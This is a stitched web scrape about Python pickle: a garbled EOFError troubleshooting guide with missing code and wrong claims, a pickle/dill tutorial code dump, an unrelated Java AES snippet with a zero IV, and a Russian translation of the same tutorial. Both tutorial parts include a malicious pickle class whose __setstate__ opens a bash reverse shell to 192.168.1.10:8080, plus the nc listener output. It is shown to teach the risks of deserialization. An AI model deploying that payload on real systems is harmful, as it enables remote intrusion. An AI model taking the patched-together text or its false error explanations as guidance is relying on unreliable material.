Pickle load error

“Eoferror: ran out of input” is an error that occurs during the programming process. It generally happens because the file is empty and has no input.

Thus, instead of finishing the program the usual way, it shows an eoferror error message. In this guide, directions and solutions to troubleshoot this issue have been discussed.

Why Does an Eoferror: Ran Out of Input Error Occur?

The eoferror ran out of input error occurs mainly because a program calls out an empty file. Some other causes include:

• The file is empty.
• Using unnecessary functions in the program.
• Overwrite a pickle file.
• Using an unknown filename.
• Using an incorrect syntax: df=pickle.load(open(‘df.p’,’rb’))

– The File Is Empty

When a file is empty and has no input details in it, the program error occurs when that file is called out. It is also known as a pickle.load eoferror error.

Given below are a quick program and its output that explains the cause of the error.

Program:

Output:

Now, the reason why this error occurred was that the program called an empty file, and no other command was given.

– Using Unnecessary Functions in the Program

Sometimes, using an unnecessary function in the program can lead to undefined behavior in the output or errors such as EOFError: Ran out of the input.

Therefore, avoid using functions that are not required. Here’s the same example from above for avoiding confusion:

– Overwrite a Pickle File

Sometimes, an empty pickle file can come as a surprise. This is because the programmer may have opened the filename through ‘bw’ or some other mode that could have overwritten the file.

Here’s an example of overwritten filename program:

The function “classification_dict = pickle.load(g)” will overwrite the pickled file. This type of error can be made by mistake before using:

open(filename, ‘rb’) as g

Now, due to this, the programmer will get an EOFError because the previous block of code overwrote the do.pkl file.

– Using an Unknown File Name

This error occurs when the program has a filename that was not recognized earlier. Addressing an unrecognized filename in the middle of the program can cause various programming errors, including the “eoferror” error.

Eoferror has various types depending on the programming language and syntax. Some of them are:

• Eoferror: ran out of input pandas.
• Eoferror: ran out of input PyTorch.
• Eoferror: ran out of input yolov5.

– Using an Incorrect Syntax

When typing a program, one has to be careful with the usage of the syntax. Wrong functions at the wrong time are also included in syntax errors. Sometimes overwriting filenames can cause syntax errors. Here’s a quick example of writing a pickle file:

pickle.dump(dg,open(‘dg.a’,’hw’))

However, if the programmer copied this code to reopen it but forgot to change ‘wb’ to ‘rb’, then that can cause overwriting syntax error:

dg=pickle.load(open(‘dg.a’,’hw’))

There are multiple ways in which this error can be resolved. Some common ways to fix this issue include using an additional command to show that the file is empty, avoiding unnecessary functions in the program and refraining from overwriting the pickle file.



A well-known way to fix this issue is by setting a condition in case the file is empty. If the condition is not included in the coding, an eoferror error will occur. The “ran out of input” means the end of a file and that it is empty.

– Use an Additional Command To Show That the File Is Empty

While typing a program and addressing a file, use an additional command that does not cause any error in the output due to an empty file. The error “eoferror ran out of input” can be easily fixed by doing what is recommended.

Let’s use the same example given above at the start. To fix that error, here’s how the program should have been written:

– Avoid Using an Unnecessary Function in the Program

As the heading explains itself, do not use unnecessary functions while coding because it can confuse the programmer, thus causing eoferror error in the output.

The top line containing, the “Open(target, ‘a’).close()” function is not necessary in the program given in the section “using unnecessary function in the program”. Thus, it can cause issues or confusion to programmers while typing codes.

– Avoid Overwriting a Pickle File

Another way to remove the program’s eoferror errors is by rechecking and correcting the overwritten pickle file. The programmer can also try to avoid overwriting files using different techniques.

It is recommended to keep a note of the files the programmer will be using in the program to avoid confusion. Previously, an example was given in the section, “Using an incorrect syntax”, so keeping that in mind, be careful with the overwriting of files.

Here is the example with the correct syntax to avoid overwriting:

– Do Not Use an Unknown Filename

Before calling out any filename, it must be registered in the library while programming so that the user may have desired output when it is called. However, it is considered an unknown filename if it is not registered and the file has been called out.

Calling an unknown filename causes an eoferror error message in your developing platform. The user will be unable to get the desired output and will end up stuck in this error. For example, the user entered two filenames in the program, but only one is registered, and the other isn’t.

Let’s take “gd” as a registered filename and “ar” as a non-registered filename (unknown). Therefore:

As seen above, the filename used here is unknown to the program. Thus, the output of this program will include errors. So, make sure the file is registered.

– Use the Correct Syntax

This is another common reason for the eoferror input error while typing a program in the python programming language. Therefore, an easy way to resolve this is by taking a few notes.

Before starting the coding process, search and note down the basic syntaxes of that particular program, such as Python, Java and C++ etc.

Doing so will help beginners and make it significantly easy for them to avoid syntax errors while coding. Make sure to enter the correct syntax and do not overwrite, as that too can cause syntax errors.

FAQs

1. How To Fix Eoferror Eof When Reading a Line in Python Without Errors?

The most common reason behind Eoferror is that you have reached the end of the file without reading all the data. To fix this error, make sure to read all the data in the file before trying to access its contents. It can be done by using a loop to read through the file’s contents.

2. How To Read a Pickle File in Python To Avoid an Eoferror Error?

The programmer can use the pandas library to read a pickle file in Python. The pandas module has a read_pickle() method that can be used to read a pickle file. By using this, one can avoid the eoferror empty files issue.

This is because the pandas library in Python detects such errors beforehand. Resulting in a much smoother programming experience.

Conclusion

After reading this article thoroughly, the reader will be able to do their programming much more quickly because they’ll know why the eoferror ran out of input error messages. Here is a quick recap of this guide:

• The eoferror error usually occurs when the file is empty or the filename is accidentally overwritten.
• The best way to avoid errors like eoferror is by correcting the syntax
• Ensure that before calling the pickled file, the program should also have an alternative command in case the pickled file is empty and has no input in it.
• When working in Jupyter, or the console (Spyder), write a wrapper over the reading/writing code and call the wrapper subsequently.

The reader can now tactfully handle this error and continue doing their programming efficiently, and if you have some difficulty, feel free to come back to read this guide. Thank you for reading!

Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Serializing Objects With the Python pickle Module

As a developer, you may sometimes need to send complex object hierarchies over a network or save the internal state of your objects to a disk or database for later use. To accomplish this, you can use a process called serialization, which is fully supported by the standard library thanks to the Python pickle module.

In this tutorial, you’ll learn:

• What it means to serialize and deserialize an object
• Which modules you can use to serialize objects in Python
• Which kinds of objects can be serialized with the Python pickle module
• How to use the Python pickle module to serialize object hierarchies
• What the risks are when deserializing an object from an untrusted source

Let’s get pickling!

# pickling.py
import pickle

class example_class:
    a_number = 35
    a_string = "hey"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)

my_object = example_class()

my_pickled_object = pickle.dumps(my_object)  # Pickling the object
print(f"This is my pickled object:n{my_pickled_object}n")

my_object.a_dict = None

my_unpickled_object = pickle.loads(my_pickled_object)  # Unpickling the object
print(
    f"This is a_dict of the unpickled object:n{my_unpickled_object.a_dict}n")

$ python pickling.py
This is my pickled object:
b'x80x03c__main__nexample_classnqx00)x81qx01.'

This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}

# pickling_error.py
import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)

$ python pickling_error.py
Traceback (most recent call last):
  File "pickling_error.py", line 6, in <module>
    my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed

# pickling_dill.py
import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)

$ python pickling_dill.py
b'x80x03cdill._dilln_create_functionnqx00(cdill._dilln_load_typenqx01Xx08x00x00x00CodeTypeqx02x85qx03Rqx04(Kx01Kx00Kx01Kx02KCCx08|x00|x00x14x00Sx00qx05Nx85qx06)Xx01x00x00x00xqx07x85qx08Xx10x00x00x00pickling_dill.pyqtXtx00x00x00squareqnKx04Cx00qx0b))tqx0cRqrc__builtin__n__main__nhnNN}qx0eNtqx0fRqx10.'

>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()

$ ls test.pkl
4 -rw-r--r--@ 1 dave  staff  439 Feb  3 10:52 test.pkl

>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>

# custom_pickling.py

import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)

print(my_new_instance.__dict__)

$ python custom_pickling.py
{'a': 35, 'b': 'test'}

# custom_unpickling.py
import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)

>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
315
>>> len(compressed)
259

# remote.py
import pickle
import os

class foobar:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')


my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)

$ nc -l 8080
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$

Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Serializing Objects With the Python pickle Module

The main issue in your code was caused by a failure to specify an IV value. You must specify an IV value when doing CBC-mode encryption and use that same value when performing the CBC-mode decryption.

Another problem is the mix and match of creating strings from byte arrays and base64-encoding. You also return null from your decrypt method every time. Even if you meant return original.toString();, that’s still wrong (because toString() doesn’t do what you wish it would on a byte array).

Below is an improved version of your code. It’s far from optimal, but it compiles and works. You need to improve this to use a random IV. Also, if you plan to derive keys from passwords, don’t just get the bytes, use a derivation function such as PBKDF2. You can see an example of using PBKDF2 in the JNCryptor source.

public class EncryptionTest {

  public static void main(String[] args) {
    try {

      String key = "ThisIsASecretKey";
      byte[] ciphertext = encrypt(key, "1234567890123456");
      System.out.println("decrypted value:" + (decrypt(key, ciphertext)));

    } catch (GeneralSecurityException e) {
      e.printStackTrace();
    }
  }

  public static byte[] encrypt(String key, String value)
      throws GeneralSecurityException {

    byte[] raw = key.getBytes(Charset.forName("UTF-8"));
    if (raw.length != 16) {
      throw new IllegalArgumentException("Invalid key size.");
    }

    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    cipher.init(Cipher.ENCRYPT_MODE, skeySpec,
        new IvParameterSpec(new byte[16]));
    return cipher.doFinal(value.getBytes(Charset.forName("UTF-8")));
  }

  public static String decrypt(String key, byte[] encrypted)
      throws GeneralSecurityException {

    byte[] raw = key.getBytes(Charset.forName("UTF-8"));
    if (raw.length != 16) {
      throw new IllegalArgumentException("Invalid key size.");
    }
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");

    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    cipher.init(Cipher.DECRYPT_MODE, skeySpec,
        new IvParameterSpec(new byte[16]));
    byte[] original = cipher.doFinal(encrypted);

    return new String(original, Charset.forName("UTF-8"));
  }
}

Время от времени требуется сохранить на диск или отослать по сети объект со сложной структурой. Например, текущее состояние нейронной сети, находящейся в процессе обучения. Процесс перевода структуры данных в цепочку битов называется сериализацией.

После прочтения статьи вы будете знать:

• что такое сериализация и десериализация;
• как применять эти процессы для собственного удобства;
• какие существуют встроенные и сторонние библиотеки Python для сериализации;
• чем отличаются протоколы pickle;
• в чём преимущество dill перед pickle;
• как с помощью dill сохранить сессию интерпретатора;
• можно ли сжать сериализованные данные;
• какие бывают проблемы с безопасностью процесса десериализации.

Итак, сериализация (англ. serialization, marshalling) – это способ преобразования структуры данных в линейную форму, которую можно сохранить или передать по сети. Обратный процесс преобразования сериализованного объекта в исходную структуру данных называется десериализацией (англ. deserialization, unmarshalling).

В стандартной библиотеке Python три модуля позволяют сериализовать и десериализовать объекты:

1. marshal
2. json
3. pickle

Кроме того, Python поддерживает XML, который также можно применять для сериализации объектов.

Самый старый модуль из перечисленных – marshal. Он используется для чтения и записи байт-кода модулей Python и .pyc-файлов, создаваемых при импорте модулей Python. Хотя его и можно использовать для сериализации, делать это не рекомендуется.

Модуль json обеспечивает работу со стандартными файлами JSON. Это широко используемый формат обмена данными, удобный для чтения и не зависящий от языка программирования. С помощью модуля json вы можете сериализовать и десериализовать стандартные типы данных Python:

• bool
• dict
• int
• float
• list
• string
• tuple
• None

Наконец, ещё один встроенный способ сериализации и десериализации объектов в Python – модуль pickle. Он отличается от модуля json тем, что сериализует объекты в двоичном виде. То есть результат не может быть прочитан человеком. Кроме того, pickle работает быстрее и позволяет сериализовать многие другие типы Python, включая пользовательские.

Внутри модуля pickle

Модуль pickle содержит четыре основные функции:

• pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
• pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
• pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
• pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

Первые два метода применяются для сериализации, а два других – для обратного процесса. Разница между первыми двумя методами заключается в том, что dump создаёт файл, содержащий результат сериализации, а dumps – возвращает байтовую строку. То же самое относится к load и loads.

Рассмотрим пример. Допустим, есть пользовательский класс example_class с несколькими атрибутами (a_number, a_string, a_dictionary, a_list, a_tuple), каждый из которых имеет свой тип.

В коде ниже показано, как создаётся и сериализуется экземпляр класса. Затем мы изменяем значение внутреннего словаря. Для восстановления исходной структуры можно использовать сохранённый с помощью pickle объект.

        import pickle

class example_class:
    a_number = 35
    a_string = "hey"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)

my_object = example_class()

my_pickled_object = pickle.dumps(my_object)  # Pickling the object
print(f"This is my pickled object:n{my_pickled_object}n")

my_object.a_dict = None

my_unpickled_object = pickle.loads(my_pickled_object)  # Unpickling the object
print(
    f"This is a_dict of the unpickled object:n{my_unpickled_object.a_dict}n")
    

        $ python pickling.py

This is my pickled object:
b'x80x03c__main__nexample_classnqx00)x81qx01.'

This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}
    

Таким образом, pickle создаёт глубокую копию исходной структуры.

Форматы протоколов модуля pickle

Модуль pickle специфичен для Python — результаты сериализации могут быть прочитаны только другой программой на Python. Но даже если вы работаете только с Python, полезно знать, как модуль эволюционировал со временем. От версии протокола зависит совместимость. Сейчас существует 6 версий протоколов:

• 0 — в отличие от более поздних протоколов, был удобочитаемым.
• 1 — первый двоичный формат.
• 2 — представлен в Python 2.3.
• 3 — добавлен в Python 3.0. Его нельзя выбрать в версиях Python 2.x.
• 4 — добавлен в Python 3.4, поддерживает более широкий диапазон размеров и типов объектов, и является протоколом по умолчанию с версии 3.8.
• 5 — добавлен в Python 3.8, имеет поддержку внеполосных данных и улучшает скорость для внутриполосных.

Чтобы выбрать конкретный протокол, укажите версию протокола при вызове функции модуля. Иначе будет использоваться версия, соответствующая атрибуту pickle.DEFAULT_PROTOCOL.

Сериализуемые и несериализуемые типы

Мы уже знаем, что модуль pickle сериализует гораздо больше типов, чем json. Но всё-таки не все. Список несериализуемых с помощью pickle объектов включает соединения с базами данных, открытые сетевые сокеты и действующие потоки. Если вы столкнулись с несериализуемым объектом, есть несколько способов решения проблемы. Первый вариант – использовать стороннюю библиотеку dill.

Модуль dill расширяет возможности pickle. Согласно официальной документации он позволяет сериализовать менее распространённые типы данных, например, вложенные функции (inner functions) и лямбда-выражения. Проверим на примере:

        import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)
    

Попытавшись запустить эту программу, мы получим исключение: pickle не может сериализовать лямбда-функцию:

        $ python pickling_error.py
Traceback (most recent call last):
  File "pickling_error.py", line 6, in <module>
    my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed
    

Попробуем заменить pickle на dill (библиотеку можно установить с помощью pip):

        import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)
    

Запустим код и увидим, что модуль dill сериализует лямбда-функцию без ошибок:

        $ python pickling_dill.py
b'x80x03cdill._dilln_create_functionnqx00(cdill._dilln_load_typenqx01Xx08x00x00x00CodeTypeqx02x85qx03Rqx04(Kx01Kx00Kx01Kx02KCCx08|x00|x00x14x00Sx00qx05Nx85qx06)Xx01x00x00x00xqx07x85qx08Xx10x00x00x00pickling_dill.pyqtXtx00x00x00squareqnKx04Cx00qx0b))tqx0cRqrc__builtin__n__main__nhnNN}qx0eNtqx0fRqx10.'
    

Ещё одна особенность dill заключается в том, что он умеет сериализовать сеанс интерпретатора:

        >>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()
    

В этом примере после запуска интерпретатора и ввода нескольких выражений мы импортируем модуль dill и вызываем dump_session() для сериализации сеанса в файле test.pkl в текущем каталоге:

        $ ls test.pkl
4 -rw-r--r--@ 1 dave  staff  439 Feb  3 10:52 test.pkl
    

Запустим новый экземпляр интерпретатора и загрузим файл test.pkl для восстановления последнего сеанса:

        >>> import dill
>>> dill.load_session('test.pkl')
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>
    

Модуль dill охватывает гораздо более широкий диапазон объектов, чем pickle, но не решает всех проблем сериализации. К примеру, даже dill не может сериализовать объект, содержащий соединение с базой данных.

В подобных случаях нужно исключить несериализуемый объект из процесса сериализации и повторно инициализировать после десериализации.

Чтобы указать, что должно быть включено в процесс сериализации, нужно использовать метод __getstate__(). Если этот метод не переопределён, будет использоваться дефолтный __dict__().

В следующем примере показано, как можно определить класс с несколькими атрибутами и исключить один атрибут из сериализации с помощью __getstate__():

        import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)

print(my_new_instance.__dict__)
    

В приведённом примере мы создаём объект с тремя атрибутами. Поскольку один из атрибутов – это лямбда-объект, его нельзя обработать с помощью pickle. Поэтому в __getstate__() мы сначала клонируем весь __dict__, а затем удаляем несериализуемый атрибут с.

Если мы запустим этот пример, а затем десериализуем объект, то увидим, что новый экземпляр не содержит атрибут c:

        $ python custom_pickling.py
{'a': 35, 'b': 'test'}
    

Мы также можем выполнить дополнительные инициализации в процессе десериализации. Например, добавить исключённый объект c обратно в десериализованную сущность. Для этого используется метод __setstate__():

        import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)
    

Сжатие сериализованных объектов

Формат данных pickle является компактным двоичным представлением структуры объекта, но мы всё равно можем её оптимизировать, используя сжатие. Для bzip2-сжатия сериализованной строки можно использовать модуль стандартной библиотеки bz2:

        >>> import pickle
>>> import bz2
>>> my_string = """Хотя формат данных pickle
является компактным двоичным представлением
структуры объекта, мы всё равно можем её
оптимизировать, используя bzip2 или gzip.
Для сжатия сериализованной строки можно
использовать модуль стандартной библиотеки
bz2. При использовании сжатия помните, что
файлы меньшего размера создаются за счет
более медленного алгоритма. И совсем малые
объекты не получают выигрыша при сжатии.
"""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
404
>>> len(compressed)
360
    

Безопасность отправки данных в формате pickle

Процесс сериализации удобен, когда необходимо сохранить состояние объекта на диск или передать по сети. Однако это не всегда безопасно. Как мы обсудили выше, при десериализации объекта в методе __setstate__() может выполняться любой произвольный код. В том числе код злоумышленника.

Простое правило гласит: никогда не десериализуйте данные, поступившие из подозрительного источника или ненадёжной сети. Чтобы предотвратить атаку посредника, используйте модуль стандартной библиотеки hmac для создания подписей и их проверки.

В следующем примере показано, как десериализация файла pickle, присланного злоумышленником, открывает доступ к системе:

        import pickle
import os

class foobar:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')


my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)
    

В этом примере в процессе распаковки в __setstate__() будет выполнена команда Bash, открывающая удалённую оболочку для компьютера 192.168.1.10 через порт 8080.

Вы можете протестировать этот скрипт на Mac или Linux, открыв терминал и набрав команду nc для прослушивания порта 8080:

        $ nc -l 8080
    

Это будет терминал атакующего. Затем открываем терминал на том же компьютере (или другом компьютере той же сети) и выполняем приведённый код Python. IP-адрес в коде нужно заменить на IP-адрес атакующего терминала. Выполнив следующую команду, жертва предоставит атакующему доступ:

        $ python remote.py
    

При запуске скрипта жертвой в терминале злоумышленника оболочка Bash перейдёт в активное состояние:

        $ nc -l 8080
bash: no job control in this shell
    

Эта консоль позволить атакующему работать непосредственно на вашей системе.

Заключение

Теперь вы знаете, как работать с модулями pickle и dill для преобразования иерархии объектов со сложной структурой в поток байтов. Структуры можно сохранять на диск или передавать в виде байтовой строки по сети. Вы также знаете, что процесс десериализации нужно использовать с осторожностью. Если у вас остались вопросы, задайте их в комментарии под постом.